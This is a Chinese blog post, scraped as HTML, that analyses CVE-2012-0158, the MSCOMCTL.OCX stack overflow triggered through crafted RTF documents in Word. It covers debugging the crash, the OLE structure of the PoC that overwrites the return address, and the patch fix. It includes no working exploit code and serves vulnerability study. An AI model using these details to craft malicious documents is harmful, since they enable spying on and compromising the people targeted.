nav-level-3"><a class="nav-link" href="#0x05%EF%BC%9A%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95"><span class="nav-text">0x05:动态调试</span></a></li></ol>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="main-content-footer">
<footer class="footer mt-5 py-5 h-auto text-base text-third-text-color relative border-t-2 border-t-border-color">
<div class="info-container py-3 text-center">
<div class="text-center">
©
<span>2022</span>
-
2025 <i class="fa-solid fa-heart fa-beat" style="--fa-animation-duration: 0.5s; color: #f54545"></i> <a href="/">xiaoeryu</a>
<p class="post-count space-x-0.5">
<span>
共撰写了 112 篇文章
</span>
</p>
</div>
<script data-swup-reload-script src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
<div class="relative text-center lg:absolute lg:right-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-right">
<span id="busuanzi_container_site_uv" class="lg:!block">
<span class="text-sm">访问人数</span>
<span id="busuanzi_value_site_uv"></span>
</span>
<span id="busuanzi_container_site_pv" class="lg:!block">
<span class="text-sm">总访问量</span>
<span id="busuanzi_value_site_pv"></span>
</span>
</div>
<div class="relative text-center lg:absolute lg:left-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-left">
<span class="lg:block text-sm">由 <?xml version="1.0" encoding="utf-8"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg class="relative top-[2px] inline-block align-baseline" version="1.1" id="圖層_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1rem" height="1rem" viewBox="0 0 512 512" enable-background="new 0 0 512 512" xml:space="preserve"><path fill="#0E83CD" d="M256.4,25.8l-200,115.5L56,371.5l199.6,114.7l200-115.5l0.4-230.2L256.4,25.8z M349,354.6l-18.4,10.7l-18.6-11V275H200v79.6l-18.4,10.7l-18.6-11v-197l18.5-10.6l18.5,10.8V237h112v-79.6l18.5-10.6l18.5,10.8V354.6z"/></svg><a target="_blank" class="text-base" href="https://hexo.io">Hexo</a> 驱动</span>
<span class="text-sm lg:block">主题 <a class="text-base" target="_blank" href="https://github.com/EvanNotFound/hexo-theme-redefine">Redefine v2.8.2</a></span>
</div>
<div>
博客已运行 <span class="odometer" id="runtime_days" ></span> 天 <span class="odometer" id="runtime_hours"></span> 小时 <span class="odometer" id="runtime_minutes"></span> 分钟 <span class="odometer" id="runtime_seconds"></span> 秒
</div>
<script data-swup-reload-script>
try {
function odometer_init() {
const elements = document.querySelectorAll('.odometer');
elements.forEach(el => {
new Odometer({
el,
format: '( ddd).dd',
duration: 200
});
});
}
odometer_init();
} catch (error) {}
</script>
</div>
</footer>
</div>
</div>
<div class="post-tools">
<div class="post-tools-container">
<ul class="article-tools-list">
<!-- TOC aside toggle -->
<li class="right-bottom-tools page-aside-toggle">
<i class="fa-regular fa-outdent"></i>
</li>
<!-- go comment -->
<li class="go-comment">
<i class="fa-regular fa-comments"></i>
</li>
</ul>
</div>
</div>
<div class="right-side-tools-container">
<div class="side-tools-container">
<ul class="hidden-tools-list">
<li class="right-bottom-tools tool-font-adjust-plus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-plus"></i>
</li>
<li class="right-bottom-tools tool-font-adjust-minus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-minus"></i>
</li>
<li class="right-bottom-tools tool-dark-light-toggle flex justify-center items-center">
<i class="fa-regular fa-moon"></i>
</li>
<!-- rss -->
<li class="right-bottom-tools tool-scroll-to-bottom flex justify-center items-center">
<i class="fa-regular fa-arrow-down"></i>
</li>
</ul>
<ul class="visible-tools-list">
<li class="right-bottom-tools toggle-tools-list flex justify-center items-center">
<i class="fa-regular fa-cog fa-spin"></i>
</li>
<li class="right-bottom-tools tool-scroll-to-top flex justify-center items-center">
<i class="arrow-up fas fa-arrow-up"></i>
<span class="percent"></span>
</li>
</ul>
</div>
</div>
<div class="image-viewer-container">
<img src="">
</div>
<div class="search-pop-overlay">
<div class="popup search-popup">
<div class="search-header">
<span class="search-input-field-pre">
<i class="fa-solid fa-keyboard"></i>
</span>
<div class="search-input-container">
<input autocomplete="off" autocorrect="off" autocapitalize="off" placeholder="站内搜索您需要的内容..." spellcheck="false" type="search" class="search-input">
</div>
<span class="popup-btn-close">
<i class="fa-solid fa-times"></i>
</span>
</div>
<div id="search-result">
<div id="no-result">
<i class="fa-solid fa-spinner fa-spin-pulse fa-5x fa-fw"></i>
</div>
</div>
</div>
</div>
</main>
<script src="/js/build/libs/Swup.min.js"></script>
<script src="/js/build/libs/SwupSlideTheme.min.js"></script>
<script src="/js/build/libs/SwupScriptsPlugin.min.js"></script>
<script src="/js/build/libs/SwupProgressPlugin.min.js"></script>
<script src="/js/build/libs/SwupScrollPlugin.min.js"></script>
<script src="/js/build/libs/SwupPreloadPlugin.min.js"></script>
<script>
const swup = new Swup({
plugins: [
new SwupScriptsPlugin({
optin: true,
}),
new SwupProgressPlugin(),
new SwupScrollPlugin({
offset: 80,
}),
new SwupSlideTheme({
mainElement: ".main-content-body",
}),
new SwupPreloadPlugin(),
],
containers: ["#swup"],
});
</script>
<script src="/js/build/tools/imageViewer.js" type="module"></script>
<script src="/js/build/utils.js" type="module"></script>
<script src="/js/build/main.js" type="module"></script>
<script src="/js/build/layouts/navbarShrink.js" type="module"></script>
<script src="/js/build/tools/scrollTopBottom.js" type="module"></script>
<script src="/js/build/tools/lightDarkSwitch.js" type="module"></script>
<script src="/js/build/layouts/categoryList.js" type="module"></script>
<script src="/js/build/tools/localSearch.js" type="module"></script>
<script src="/js/build/tools/codeBlock.js" type="module"></script>
<script src="/js/build/layouts/lazyload.js" type="module"></script>
<script src="/js/build/tools/runtime.js"></script>
<script src="/js/build/libs/odometer.min.js"></script>
<link rel="stylesheet" href="/assets/odometer-theme-minimal.css">
<script src="/js/build/libs/Typed.min.js"></script>
<script src="/js/build/plugins/typed.js" type="module"></script>
<script src="/js/build/libs/anime.min.js"></script>
<script src="/js/build/tools/tocToggle.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/layouts/toc.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/plugins/tabs.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/libs/moment-with-locales.min.js" data-swup-reload-script=""></script>
<script src="/js/build/layouts/essays.js" type="module" data-swup-reload-script=""></script>
</body>
</html> | Zayn-Liu/hexo | 2021/05/19/CVE-2010-2883-Adobe-Reader-TTF字体SING表栈溢出漏洞/index.html | HTML | unknown | 57,054 |
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="keywords" content="Hexo Theme Redefine">
<meta name="author" content="xiaoeryu">
<!-- preconnect -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<!--- Seo Part-->
<link rel="canonical" href="https://xiaoeeyu.github.io/2021/05/19/cve-2012-0158/"/>
<meta name="robots" content="index,follow">
<meta name="googlebot" content="index,follow">
<meta name="revisit-after" content="1 days">
<meta name="description" content="一、漏洞信息1. 漏洞简述 漏洞编号:CVE-2012-0158 漏洞类型:栈溢出 漏洞影响:信息泄露 该漏洞一直是office漏洞史上的经典案例。该漏洞首次发现于2015年6月,目标主要为东南亚国家和地区,此次攻击事件被命名为“Lotus Blossom”行动。该行动从2012~2015持续了三年之久。 黑客组织在此次间谍行动中,主要通过构造恶意Office文档诱使目标上钩,从而在对方的计算机上">
<meta property="og:type" content="article">
<meta property="og:title" content="CVE-2012-0158">
<meta property="og:url" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2012-0158/index.html">
<meta property="og:site_name" content="xiaoeryu">
<meta property="og:description" content="一、漏洞信息1. 漏洞简述 漏洞编号:CVE-2012-0158 漏洞类型:栈溢出 漏洞影响:信息泄露 该漏洞一直是office漏洞史上的经典案例。该漏洞首次发现于2015年6月,目标主要为东南亚国家和地区,此次攻击事件被命名为“Lotus Blossom”行动。该行动从2012~2015持续了三年之久。 黑客组织在此次间谍行动中,主要通过构造恶意Office文档诱使目标上钩,从而在对方的计算机上">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2012-0158/image-20210301002358146.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2012-0158/image-20210301005617573.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2012-0158/image-20210301200544912.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2012-0158/image-20210302001708969.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2012-0158/image-20210303000306632.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2012-0158/image-20210302000619198.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2012-0158/image-20210302235810422.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2012-0158/image-20210303001900921.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2012-0158/image-20210303004413687.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2012-0158/image-20210303005915237.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2012-0158/image-20210304001450144.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2012-0158/image-20210303233354807.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2012-0158/image-20210306192914998.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2012-0158/image-20210306193328340.png">
<meta property="article:published_time" content="2021-05-19T14:33:23.000Z">
<meta property="article:modified_time" content="2023-11-17T11:37:35.316Z">
<meta property="article:author" content="xiaoeryu">
<meta property="article:tag" content="漏洞分析">
<meta property="article:tag" content="office漏洞">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://xiaoeeyu.github.io/2021/05/19/CVE-2012-0158/image-20210301002358146.png">
<!--- Icon Part-->
<link rel="icon" type="image/png" href="/images/rabete.jpg" sizes="192x192">
<link rel="apple-touch-icon" sizes="180x180" href="/images/rabete.jpg">
<meta name="theme-color" content="#A31F34">
<link rel="shortcut icon" href="/images/rabete.jpg">
<!--- Page Info-->
<title>
CVE-2012-0158 | xiaoeryu
</title>
<link rel="stylesheet" href="/fonts/Chillax/chillax.css">
<!--- Inject Part-->
<link rel="stylesheet" href="/css/style.css">
<link rel="stylesheet" href="/css/build/tailwind.css">
<link rel="stylesheet" href="/fonts/GeistMono/geist-mono.css">
<link rel="stylesheet" href="/fonts/Geist/geist.css">
<!--- Font Part-->
<script id="hexo-configurations">
window.config = {"hostname":"xiaoeeyu.github.io","root":"/","language":"zh-CN","path":"search.xml"};
window.theme = {"articles":{"style":{"font_size":"16px","line_height":1.5,"image_border_radius":"14px","image_alignment":"center","image_caption":false,"link_icon":true,"delete_mask":false,"title_alignment":"left","headings_top_spacing":{"h1":"3.2rem","h2":"2.4rem","h3":"1.9rem","h4":"1.6rem","h5":"1.4rem","h6":"1.3rem"}},"word_count":{"enable":true,"count":true,"min2read":true},"author_label":{"enable":true,"auto":false,"list":[]},"code_block":{"copy":true,"style":"mac","highlight_theme":{"light":"github","dark":"vs2015"},"font":{"enable":false,"family":null,"url":null}},"toc":{"enable":true,"max_depth":4,"number":false,"expand":true,"init_open":true},"copyright":{"enable":true,"default":"cc_by_nc_sa"},"lazyload":true,"pangu_js":false,"recommendation":{"enable":false,"title":"推荐阅读","limit":3,"mobile_limit":2,"placeholder":"/images/ball-0101.jpg","skip_dirs":[]}},"colors":{"primary":"#A31F34","secondary":null,"default_mode":"light"},"global":{"fonts":{"chinese":{"enable":false,"family":null,"url":null},"english":{"enable":false,"family":null,"url":null},"title":{"enable":false,"family":null,"url":null}},"content_max_width":"1000px","sidebar_width":"210px","hover":{"shadow":true,"scale":false},"scroll_progress":{"bar":false,"percentage":true},"website_counter":{"url":"https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js","enable":true,"site_pv":true,"site_uv":true,"post_pv":true},"single_page":true,"preloader":{"enable":false,"custom_message":null},"open_graph":true,"google_analytics":{"enable":false,"id":null}},"home_banner":{"enable":true,"style":"fixed","image":{"light":"/images/wallhaven-jxl31y.png","dark":"/images/wallhaven-o5762l.png"},"title":"XIAOERYU","subtitle":{"text":["明心见性,拨云见日","Don't wait, to create"],"hitokoto":{"enable":false,"show_author":false,"api":"https://v1.hitokoto.cn"},"typing_speed":100,"backing_speed":80,"starting_delay":500,"backing_delay":1500,"loop":true,"smart_backspace":true},"text_color":{"light":"#fff","dark":"#d1d1b6"},"text_style":{"title_size":"2.8rem","subtitle_size":"1.5rem","line_height":1.2},"custom_font":{"enable":false,"family":null,"url":null},"social_links":{"enable":true,"style":"default","links":{"github":"https://github.com/xiaoeeyu","instagram":null,"zhihu":null,"twitter":null,"email":"xiaoeryu@163.com"},"qrs":{"weixin":null}}},"plugins":{"feed":{"enable":false},"aplayer":{"enable":false,"type":"fixed","audios":[{"name":null,"artist":null,"url":null,"cover":null,"lrc":null}]},"mermaid":{"enable":false,"version":"9.3.0"}},"version":"2.8.2","navbar":{"auto_hide":false,"color":{"left":"#f78736","right":"#367df7","transparency":35},"width":{"home":"1200px","pages":"1000px"},"links":{"Home":{"path":"/","icon":"fa-regular fa-house"},"Archives":{"path":"/archives","icon":"fa-regular fa-archive"}},"search":{"enable":true,"preload":true}},"page_templates":{"friends_column":2,"tags_style":"blur"},"home":{"sidebar":{"enable":true,"position":"left","first_item":"menu","announcement":null,"show_on_mobile":true,"links":null},"article_date_format":"auto","excerpt_length":200,"categories":{"enable":true,"limit":3},"tags":{"enable":true,"limit":3}},"footerStart":"2022/8/17 11:45:14"};
window.lang_ago = {"second":"%s 秒前","minute":"%s 分钟前","hour":"%s 小时前","day":"%s 天前","week":"%s 周前","month":"%s 个月前","year":"%s 年前"};
window.data = {"masonry":false};
</script>
<!--- Fontawesome Part-->
<link rel="stylesheet" href="/fontawesome/fontawesome.min.css">
<link rel="stylesheet" href="/fontawesome/brands.min.css">
<link rel="stylesheet" href="/fontawesome/solid.min.css">
<link rel="stylesheet" href="/fontawesome/regular.min.css">
<meta name="generator" content="Hexo 6.3.0">
<style>.github-emoji { position: relative; display: inline-block; width: 1.2em; min-height: 1.2em; overflow: hidden; vertical-align: top; color: transparent; } .github-emoji > span { position: relative; z-index: 10; } .github-emoji img, .github-emoji .fancybox { margin: 0 !important; padding: 0 !important; border: none !important; outline: none !important; text-decoration: none !important; user-select: none !important; cursor: auto !important; } .github-emoji img { height: 1.2em !important; width: 1.2em !important; position: absolute !important; left: 50% !important; top: 50% !important; transform: translate(-50%, -50%) !important; user-select: none !important; cursor: auto !important; } .github-emoji-fallback { color: inherit; } .github-emoji-fallback img { opacity: 0 !important; }</style>
</head>
<body>
<div class="progress-bar-container">
<span class="pjax-progress-bar"></span>
<!-- <span class="swup-progress-icon">-->
<!-- <i class="fa-solid fa-circle-notch fa-spin"></i>-->
<!-- </span>-->
</div>
<main class="page-container" id="swup">
<div class="main-content-container flex flex-col justify-between min-h-dvh">
<div class="main-content-header">
<header class="navbar-container px-6 md:px-12">
<div class="navbar-content transition-navbar ">
<div class="left">
<a class="logo-image h-8 w-8 sm:w-10 sm:h-10 mr-3" href="/">
<img src="/images/rabete.jpg" class="w-full h-full rounded-sm">
</a>
<a class="logo-title" href="/">
xiaoeryu
</a>
</div>
<div class="right">
<!-- PC -->
<div class="desktop">
<ul class="navbar-list">
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/"
>
<i class="fa-regular fa-house fa-fw"></i>
首页
</a>
<!-- Submenu -->
</li>
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/archives"
>
<i class="fa-regular fa-archive fa-fw"></i>
归档
</a>
<!-- Submenu -->
</li>
<li class="navbar-item search search-popup-trigger">
<i class="fa-solid fa-magnifying-glass"></i>
</li>
</ul>
</div>
<!-- Mobile -->
<div class="mobile">
<div class="icon-item search search-popup-trigger"><i class="fa-solid fa-magnifying-glass"></i>
</div>
<div class="icon-item navbar-bar">
<div class="navbar-bar-middle"></div>
</div>
</div>
</div>
</div>
<!-- Mobile sheet -->
<div class="navbar-drawer h-dvh w-full absolute top-0 left-0 bg-background-color flex flex-col justify-between">
<ul class="drawer-navbar-list flex flex-col px-4 justify-center items-start">
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/"
>
<span>
首页
</span>
<i class="fa-regular fa-house fa-sm fa-fw"></i>
</a>
</li>
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/archives"
>
<span>
归档
</span>
<i class="fa-regular fa-archive fa-sm fa-fw"></i>
</a>
</li>
</ul>
<div class="statistics flex justify-around my-2.5">
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/tags">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">92</div>
<div class="label text-third-text-color text-sm">标签</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/categories">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">14</div>
<div class="label text-third-text-color text-sm">分类</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/archives">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">112</div>
<div class="label text-third-text-color text-sm">文章</div>
</a>
</div>
</div>
<div class="window-mask"></div>
</header>
</div>
<div class="main-content-body transition-fade-up">
<div class="main-content">
<div class="post-page-container flex relative justify-between box-border w-full h-full">
<div class="article-content-container">
<div class="article-title relative w-full">
<div class="w-full flex items-center pt-6 justify-start">
<h1 class="article-title-regular text-second-text-color tracking-tight text-4xl md:text-6xl font-semibold px-2 sm:px-6 md:px-8 py-3">CVE-2012-0158</h1>
</div>
</div>
<div class="article-header flex flex-row gap-2 items-center px-2 sm:px-6 md:px-8">
<div class="avatar w-[46px] h-[46px] flex-shrink-0 rounded-medium border border-border-color p-[1px]">
<img src="/images/rabete.jpg">
</div>
<div class="info flex flex-col justify-between">
<div class="author flex items-center">
<span class="name text-default-text-color text-lg font-semibold">xiaoeryu</span>
<span class="author-label ml-1.5 text-xs px-2 py-0.5 rounded-small text-third-text-color border border-shadow-color-1">Lv5</span>
</div>
<div class="meta-info">
<div class="article-meta-info">
<span class="article-date article-meta-item">
<i class="fa-regular fa-pen-fancy"></i>
<span class="desktop">2021-05-19 22:33:23</span>
<span class="mobile">2021-05-19 22:33:23</span>
<span class="hover-info">创建</span>
</span>
<span class="article-date article-meta-item">
<i class="fa-regular fa-wrench"></i>
<span class="desktop">2023-11-17 19:37:35</span>
<span class="mobile">2023-11-17 19:37:35</span>
<span class="hover-info">更新</span>
</span>
<span class="article-categories article-meta-item">
<i class="fa-regular fa-folders"></i>
<ul>
<li>
<a href="/categories/Win%E9%80%86%E5%90%91/">Win逆向</a>
</li>
</ul>
</span>
<span class="article-tags article-meta-item">
<i class="fa-regular fa-tags"></i>
<ul>
<li>
<a href="/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/">漏洞分析</a>
</li>
<li>
| <a href="/tags/office%E6%BC%8F%E6%B4%9E/">office漏洞</a>
</li>
</ul>
</span>
<span class="article-pv article-meta-item">
<i class="fa-regular fa-eye"></i> <span id="busuanzi_value_page_pv"></span>
</span>
</div>
</div>
</div>
</div>
<div class="article-content markdown-body px-2 sm:px-6 md:px-8 pb-8">
<h2 id="一、漏洞信息"><a href="#一、漏洞信息" class="headerlink" title="一、漏洞信息"></a>一、漏洞信息</h2><h3 id="1-漏洞简述"><a href="#1-漏洞简述" class="headerlink" title="1. 漏洞简述"></a>1. 漏洞简述</h3><ul>
<li>漏洞编号:CVE-2012-0158</li>
<li>漏洞类型:栈溢出</li>
<li>漏洞影响:信息泄露</li>
<li>该漏洞一直是office漏洞史上的经典案例。该漏洞首次发现于2015年6月,目标主要为东南亚国家和地区,此次攻击事件被命名为“Lotus Blossom”行动。该行动从2012~2015持续了三年之久。</li>
<li>黑客组织在此次间谍行动中,主要通过构造恶意Office文档诱使目标上钩,从而在对方的计算机上植入木马,窃取机密信息。</li>
</ul>
<h3 id="2-组件概述"><a href="#2-组件概述" class="headerlink" title="2. 组件概述"></a>2. 组件概述</h3><p>2012-0158是一个经典的栈溢出漏洞,成因在于office在解析activeX控件时调用系统的MSCOMCTL.OCX库中存在栈溢出漏洞,导致可被用于执行任意代码。</p>
<h3 id="3-漏洞影响"><a href="#3-漏洞影响" class="headerlink" title="3. 漏洞影响"></a>3. 漏洞影响</h3><p>操作系统:XP SP3 ~ WIN7</p>
<p>office版本:2003 ~ 2010</p>
<span id="more"></span>
<h2 id="二、调试环境"><a href="#二、调试环境" class="headerlink" title="二、调试环境"></a>二、调试环境</h2><h3 id="1-环境搭建"><a href="#1-环境搭建" class="headerlink" title="1. 环境搭建"></a>1. 环境搭建</h3><table>
<thead>
<tr>
<th></th>
<th>使用环境</th>
<th>备注</th>
</tr>
</thead>
<tbody><tr>
<td>操作系统</td>
<td>xp SP3</td>
<td>简体中文版</td>
</tr>
<tr>
<td>虚拟机</td>
<td>VMware</td>
<td>16 pro</td>
</tr>
<tr>
<td>调试器</td>
<td>immunity debugger</td>
<td>1.85</td>
</tr>
<tr>
<td>反汇编器</td>
<td>IDA Pro</td>
<td>6.8</td>
</tr>
<tr>
<td>漏洞软件</td>
<td>word</td>
<td>2007 中文版</td>
</tr>
<tr>
<td>office 格式分析工具</td>
<td>OffVis</td>
<td>1.1</td>
</tr>
</tbody></table>
<h2 id="三、漏洞分析"><a href="#三、漏洞分析" class="headerlink" title="三、漏洞分析"></a>三、漏洞分析</h2><h3 id="1-基本信息"><a href="#1-基本信息" class="headerlink" title="1. 基本信息"></a>1. 基本信息</h3><ul>
<li>漏洞文件:MSCOMCTL.OCX</li>
</ul>
<h3 id="2-详细分析"><a href="#2-详细分析" class="headerlink" title="2. 详细分析"></a>2. 详细分析</h3><p>用immunity debugger附加word之后F9运行,将poc拖进word窗口打开之后,程序崩溃断下,如下图所示(如果栈中不显示模块地址的话,就<code>alt + E</code>到模块中刷新一下再返回模块地址就显示出来了)</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2012-0158/image-20210301002358146.png" class="" title="image-20210301002358146">
<p>通过上图回溯栈上数据我们可以看到最近的返回地址在MSCOMCTL.275C8B91处,然后我们可以在左侧内存数据中跳转到275C8B91查看一下此处的汇编代码</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2012-0158/image-20210301005617573.png" class="" title="image-20210301005617573">
<p>继续往上追溯,可以看到0x275C8B91是位于函数sub_275C8B4E中的,将sub_275C8B4E标记为VulFun函数,然后在VulFun函数入口地址0x275C8B4E处下断。但是我们如果直接在这个地址下普通断点的话是断不下来的,因为这个地址时固定的所以我们直接<code>alt + E</code>进入模块找到0x275C8B4E处下硬件断点即可,然后再每次重新打开poc的时候就会在这个地方断下来。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2012-0158/image-20210301200544912.png" class="" title="image-20210301200544912">
<p>然后我们F8单步</p>
<p>可以断下来之后,我们用IDA加载MSCOMCTL.OCX模块来看一下刚才标记的VulFun函数,可以看到这里面有一个sub_275C88F4函数被调用了两次,这里原本是<code>V5 == 1784835907</code>,将其标记为char类型之后为‘jboC’,这里按照小端存储的规则逆过来之后就是’Cobj’,后面的 <code>&&dwBytes >= 8</code>,我们在immDbg中看到这个函数总共分配了0x14个字节大小的栈空间,在中间用掉了0xC个字节,剩余0x8字节,所以这里再判断 dwBytes >= 8,将dwBytes个数据再拷贝到栈上的时候,由于复制的大小超出0x8个字节,会导致溢出。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2012-0158/image-20210302001708969.png" class="" title="image-20210302001708969">
<p>第一次调用sub_275C88F4复制了”Cobjd”字符串</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2012-0158/image-20210303000306632.png" class="" title="image-20210303000306632">
<p>在第二次调用sub_275C88F4的时候发生了溢出</p>
<p>动态执行到第二次sub_275C88F4拷贝结束的时候可以看到返回地址已经被0x41414141覆盖了,验证了我们前面的分析</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2012-0158/image-20210302000619198.png" class="" title="image-20210302000619198">
<p>现在我们已经大体上知道了溢出的点和原因在哪里,接下来我们分析一下poc.doc文件格式,看看程序是在解析doc文件中哪一字段时溢出的,下图是doc文件格式的开头内容</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2012-0158/image-20210302235810422.png" class="" title="image-20210302235810422">
<p>导致漏洞的是\object标签的内容,其中的\objocx代表在OLE容器中嵌入OCX控件,后面的\objdata包含对象数据,OLE对象采用OLESaveToStream结构,后面的D0CF11E0是OLE签名,代表DOCFILE,从这里开始就是OLE数据。如果我们直接用OffVis打开poc.doc解析,会得到未发现OLESS签名的错误。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2012-0158/image-20210303001900921.png" class="" title="image-20210303001900921">
<p>这是因为poc.doc是RTF格式,里面的OLE数据是以文本形式存储,因此未被OffVis识别出来,可将从0xD0CF11E0开始至结尾的数据以16进制形式保存为test.doc,再用OffVis打开即可解析。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2012-0158/image-20210303004413687.png" class="" title="image-20210303004413687">
<p>关于上面CLSID对应的控件,直接通过OLE Viewer或者注册表搜索即可查找到是ListViewA控件。然后找到覆盖返回地址的0x41414141,它位于EleName = Contents的Data字段</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2012-0158/image-20210303005915237.png" class="" title="image-20210303005915237">
<p>回头看下VulFun函数对此段数据的解析,回到IDA按F5查看C代码</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2012-0158/image-20210304001450144.png" class="" title="image-20210304001450144">
<p>动态调试数据</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2012-0158/image-20210303233354807.png" class="" title="image-20210303233354807">
<h3 id="漏洞修复"><a href="#漏洞修复" class="headerlink" title="漏洞修复"></a>漏洞修复</h3><p>下载补丁后,用binDiff对比打补丁前后的修复情况。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2012-0158/image-20210306192914998.png" class="" title="image-20210306192914998">
<p>这里新添加了对dwVersion的判断:需要dwVersion等于0x64,dwBytes等于8才继续执行,否则直接返回</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2012-0158/image-20210306193328340.png" class="" title="image-20210306193328340">
<h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>对于栈溢出漏洞的分析,都是通过栈回溯的方法找到漏洞函数,可在原栈顶(上层函数返回地址)下内存写断点。程序断下时,经常是在mov和rep movs等用于实现字符串复制的相关指令处,再通过栈回溯或者函数交叉引用定位漏洞函数地址;而对于ActiveX控件的调试,一般通过OLEAUT32模块中的DispCallFunc函数对首个call ecx指令下断跟进,此时进入的就是POC中调用的控件函数,就得逐个跟进call ecx去判断对应的是哪个控件函数。上面的调试方法也不是唯一的,比如通过指令运行记录功能,将POC分别在漏洞版本和修复版本的程序上运行,再通过对比运行指令的差异性,从中找到漏洞成因及修复方法。</p>
<p>参考文章:</p>
<p>《漏洞战争》</p>
</div>
<div class="post-copyright-info w-full my-8 px-2 sm:px-6 md:px-8">
<div class="article-copyright-info-container">
<ul>
<li><strong>标题:</strong> CVE-2012-0158</li>
<li><strong>作者:</strong> xiaoeryu</li>
<li><strong>创建于
:</strong> 2021-05-19 22:33:23</li>
<li>
<strong>更新于
:</strong> 2023-11-17 19:37:35
</li>
<li>
<strong>链接:</strong> https://github.com/xiaoeryu/2021/05/19/CVE-2012-0158/
</li>
<li>
<strong>
版权声明:
</strong>
本文章采用 <a class="license" target="_blank" rel="noopener" href="https://creativecommons.org/licenses/by-nc-sa/4.0">CC BY-NC-SA 4.0</a> 进行许可。
</li>
</ul>
</div>
</div>
<ul class="post-tags-box text-lg mt-1.5 flex-wrap justify-center flex md:hidden">
<li class="tag-item mx-0.5">
<a href="/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/">#漏洞分析</a>
</li>
<li class="tag-item mx-0.5">
<a href="/tags/office%E6%BC%8F%E6%B4%9E/">#office漏洞</a>
</li>
</ul>
<div class="article-nav my-8 flex justify-between items-center px-2 sm:px-6 md:px-8">
<div class="article-prev border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="prev" rel="prev" href="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/">
<span class="left arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-left"></i>
</span>
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">CVE-2010-2883 Adobe Reader TTF字体SING表栈溢出漏洞</span>
<span class="post-nav-item">上一篇</span>
</span>
</a>
</div>
</div>
